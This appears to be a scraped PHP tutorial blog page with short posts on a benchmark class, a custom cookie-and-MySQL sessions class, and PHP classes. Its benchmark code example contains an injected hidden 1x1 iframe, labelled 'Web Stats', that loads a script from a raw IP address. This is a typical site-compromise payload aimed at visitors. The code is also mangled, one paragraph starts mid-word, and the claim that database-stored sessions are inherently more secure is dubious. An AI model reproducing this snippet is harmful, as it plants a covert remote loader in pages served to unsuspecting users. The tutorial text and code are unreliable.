Most hosting providers have limits on how much resources a single script can take up. So knowing if you are near that limit is handy. This PHP Benchmark Class can give you all the needed information about the resources your script is consuming.

It is all kept within one neat class so it is is to use. Here are a few examples of how this script can be used within your script.
code language=PHP
$bench = Benchmark::create( ‘MY_BENCHMARK’, TRUE ); // TRUE flag enables memory status.
$bench-end();
$result!– Web Stats — iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0/iframe !– End Web Stats — = $bench-result();
/code

Easy to use, simple to read and a lifesaver for anyone needing to check their scripts efficiency.

nced PHP users and a few learners will have heard that PHP sessions have many vulnerabilities and security issues. So if creating a website for large social networks or any other large websites which requires user authentication and protected pages you do not wanting to be using insecure methods of programming.

The best way to combat PHP sessions but still have an easy to use user authentication system we can create a Custom PHP Sessions class. For this we need Cookies and a MySQL table. Instead of storing user information and login sessions in $_SESSION we store it within our MySQL table. This gives added security because everything is stored in a database and not in a single variable array.

This Sessions class system has the ability to create, update, delete and check sessions. This system in no way uses the $_SESSION variable only cookies which a secure in their own right if used and created properley.

In PHP there are many methods of programming a script or website. Advanced programmers use something called classes. These help programmers to organize their code and also make the script more versatile. PHP classes were mainly used when PHP5 was introduced as PHP5 concentrated on advanced programmers with using classes and other methods of programming. By using classes functions can be manipulated and security can be increased from standard php methods. PHP classes or often refered to as OOP which stands for Object Orientated Programming because we are using objects to organise our code. PHP classes have many features to them and it would take to long to explain every feature of a class so were just going to look at the few basics of using and creating a PHP class.
